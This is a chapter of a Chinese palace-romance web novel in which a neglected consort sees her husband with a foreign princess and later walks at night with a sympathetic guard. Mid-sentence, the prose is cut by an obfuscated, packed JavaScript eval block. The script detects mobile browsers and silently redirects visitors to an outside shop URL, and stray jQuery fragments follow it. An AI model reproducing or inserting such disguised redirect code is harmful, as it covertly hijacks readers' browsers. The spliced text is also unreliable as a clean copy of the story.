“沈统领,是我连累了你。”影九知道自己那么做会让沈闵行受到牵连,但没想到,李京熠会这么狠心。
沈闵行不动声色地将她扫视一眼,眼底划过一丝异样的情绪,“王妃,您近日……还好吗?”
这一声问候,在空旷冷清的宫门前显得格外突兀,却又带着一种奇异的温度。
影九的睫毛微微一颤,心脏像是被什么东西轻轻撞了一下。
她抬眼看向沈闵行,看着他眼底那抹未曾掩饰的关切,鼻尖猛地一酸。
“还好,你呢?若是你想,我可以去求……”
“多谢王妃好意!”沈闵行猛地打断了她,语气虽恭敬,却透着一股不容置疑的决绝。他抬起头,目光直视着影九,字字铿锵,“这是王爷的命令,属下领命便是。”
“可此事终究是因我而起。”影九心里很是过意不去,声音里透着浓浓的愧疚,“我想弥补你。”
“王妃言重了。”沈闵行再次行礼,姿态恭敬,“属下告退。”
他不愿多言,影九也不便再纠缠。
看着沈闵行如今的境遇,她深知自己多说一句,便可能给他多招来一分祸端。
简单的两句寒暄后,她只能带着落霞转身离去。
走出好远,影九忍不住回头望去。
那道挺拔的身影依旧如松柏般伫立在宫门旁,在萧瑟的秋风中显得格外孤寂。
她眼底满是忧伤,心中五味杂陈。
落霞注意到了王妃的神色,顺着她的目光回头看了一眼,忍不住低声道:“王妃,沈统领那样的人物,怎会沦落至此?是王爷做的吗?”
“除了他,还能有谁?”影九攥紧拳头。
可事到如今,她有什么资格去李京熠面前为沈闵行求情?
这么做的话,只会惹得李京熠更加生气。
所有的一切,归根究底都在李京熠身上。他一喜一怒,都牵连着许多人的性命。
不知不觉间,主仆二人已走到了御花园。
深秋的御花园,早已没了往日的姹紫嫣红,只剩下一片萧条枯败的景象。
影九扫视周围一圈,正打算寻个避风的角落坐下歇歇脚时,眼角的余光突然瞥见一个人影。
是李京熠。
但他并非独自一人。
在他身侧,跟着一位身姿曼妙的女子。
那女子穿着一身绯色的华服,容貌娇艳,眉眼间透着一股子娇憨与妩媚,看那身装扮,绝非寻常的世家贵女。
影九僵在原地,目光不受控制地落在那两人身上。
李京熠微微侧头,似乎在对那女子说着什么,唇角噙着一抹她许久未见的笑意。那笑容温润如玉,却像是一把锋利的刀,狠狠刺入影九的眼底。
仿佛察觉到了这边的视线,李京熠漫不经心地转过头来。
四目相对。
他的目光在触及影九的那一刻,没有半分波澜,平静得如同在看一个毫无交集的陌生人。
那眼神冷漠、疏离,甚至带着一丝不易察觉的厌烦。
仅仅一瞬,他便收回了目光,转头继续与身边的女子说笑,仿佛刚才那一瞥只是错觉。
影九别开脸去,垂下眸子,掩去了眼底那一抹难以抑制的痛楚。心脏像是被一只无形的大手狠狠攥住,疼得她几乎喘不过气来。
当初,李京熠之所以将她困在身边,不过是因为她这张漂亮的脸罢了。
如今她形销骨立,早已没了昔日那般鲜活灵动的模样,李京熠转头去寻更年轻貌美的女子,倒也在情理之中。
若非如此,方才他那一眼,又该如何解释?
那眼神里,分明没有半分旧情,只有对待陌生人的冷漠与疏离。
自从那日争执后,他便再未踏足她的寝殿半步。影九本以为他是被前朝政务缠身,分身乏术,可今日一见,才知是自己自作多情了。
“王妃,王爷他……”落霞忍不住开口,想要替王爷辩解,可瞧着他与那女子的举止,落霞不禁为王妃感到不甘与愤懑。
影九淡淡一笑,尽量表现出不在意,“你可知那女子是谁?生得真是极好。”
落霞摇了摇头,如实答道:“近日以来,未曾听说有哪家女子入宫。”
这些时日,她寸步不离地守在王妃身边,外头的风声雨声,她确实未曾听闻。
“可否需要奴婢打听打听?”
影九没答话,却也没拒绝。
落霞心中了然,扶着影九往回走。
影九倒觉得自己不如不出来,一出门便撞见这样的场景,真是让人心里烦闷。
但她不会去找李京熠质问,更不会再像从前那样歇斯底里地去冲他怒吼。
做这一切都是徒劳,她心里清楚。
-
自御花园那一遭后,影九便像是被抽去了最后一丝生气,彻底将自己锁在了这幽暗空旷的寝殿之中,再未迈出过门槛半步。
原因无他,只因落霞带回来的那个消息。
那女子并非寻常贵女,而是镇海国的公主。
此番远道而来,名为游历,实为和亲。
既是和亲,那必定是冲着李京熠去的。
否则,朝野上下,谁还能迎娶公主?
可朝野上下谁人不知,端王早已有一位王妃?
难道,为了那至高无上的权力,为了镇海国的铁骑,李京熠当真要休了她?
影九靠在软枕上,指尖无意识地摩挲着冰冷的茶杯。
若是如此,倒也算个解脱。
她很清楚,自己如今什么都做不了。不能去当面对质,更不能歇斯底里地哭闹。那样只会显得她像个泼妇,更加衬托出那位公主的端庄贤淑。
她唯一能做的,就是安静地待着。像一个被遗忘的摆件,直到李京熠哪一日彻底想不起这世上还有她这个人。
到那时,一纸休书,尘埃落定。
然而,那封休书迟迟未到,关于那位公主的流言却在宫中愈演愈烈。
“王妃,听说那位公主并未按例住在驿馆,而是被安排在了宫里住下。”落霞的语气里满是不忿,“宫里都在传,说王爷这是要把公主当未来王妃待呢,连宫里的老嬷嬷们都在私下议论,说要有喜事了。”
这些流言蜚语像长了翅膀一般,有鼻子有眼地钻进影九的耳朵里,逼得她不得不信。
可李京熠的休
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17605274|203187||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
书,她等啊等,却始终没有等来。
日子在煎熬中一天天过去,影九已经记不清究竟有多久没见过李京熠了。或许是半个月,又或许是一个月。
她整个人肉眼可见地憔悴下去,眼窝深陷,面色灰败。
深宫的夜晚最是难熬,那股子阴冷的寒气像是无孔不入的毒蛇,顺着地砖缝隙钻出来,直往人的骨头缝里钻。影九夜夜蜷缩在锦被中,却依旧觉得冷得彻骨,翻来覆去直到天明。
为了让她能睡个安稳觉,落霞每日睡前都会熬一碗安神汤。
那药汁苦涩浓稠,喝下去后,影九通常能勉强睡上两三个时辰。虽然醒来后头痛欲裂,但总好过睁眼到天亮的煎熬。
这一夜,窗外寒风呼啸。
影九喝下了那碗安神汤,苦涩的味道在舌尖蔓延。她闭上眼,等待着那股熟悉的困意袭来。
然而,不知为何,今夜那药力竟像是失效了一般。
她在黑暗中睁着眼,听着自己的心跳声越来越响亮。
在这令人窒息的静谧中,唯有她那紊乱而急促的呼吸声,一下又一下,敲打着紧绷的神经。
影九再也躺不住了。
她撑着绵软无力的身子坐起,目光在空荡荡的寝殿内扫过,随后摸索着穿上鞋袜,披上一件厚实的狐裘披风,推门走了出去。
白日里,这宫殿便冷清得很,入夜后更是死气沉沉。她不愿落霞在这寒冷的时节守夜,所以此刻,这偌大的宫殿内外,再见不到半个人影。
她伫立在廊下,抬头望向夜空,夜空中连一颗星辰也没有,甚至寻不到月亮的踪影。
她轻叹一声,迎着冷风抬脚往外走。
宫们阴影处,沈闵行挺拔如松地站着。
见影九深夜独出,他似乎并未感到太过意外,只是快步上前,挡在了风口处,低声问道:“夜已深了,王妃是要去哪儿?”
寒风如刀,刮得影九眼角生疼,干涩得厉害。
她用力眨了眨眼,视线聚焦在他那张轮廓分明的脸上,见他身后空无一人,才轻声道:“陪我走走吧。”
话音落下,也不等沈闵行答应与否,她自顾自抬脚继续往前走。
沈闵行见她身旁连一个提灯的宫女都没有,心中一紧,连忙大步跟上,“王妃去哪儿?”
“随处走走。”
影九走得很慢,像是被这寒风阻挡了脚步,又像是因为太久没出门,对周围的一切感到陌生。
沈闵行侧首,目光落在她被风吹得苍白的侧脸上,沉默良久,终究还是忍不住开口,“王妃,您似乎很不开心?是有何烦心事吗?”
影九脚步微顿,嘴角勾起一抹自嘲的弧度。
“宫里人人都知道的事,你还当能瞒得住我?”
沈闵行神色一僵,瞬间明白了她所指何事。那是镇海国公主,是如今这深宫里最耀眼的话题。
他思索良久,握着刀柄的手指微微收紧,声音低沉而笃定,“流言止于智者。王妃多虑了,您才是名正言顺的端王妃。无论那公主身份如何尊贵,王爷绝不会休妻另娶。”
他说得斩钉截铁,可在这空旷寂寥的深夜里,这话听起来格外地无力。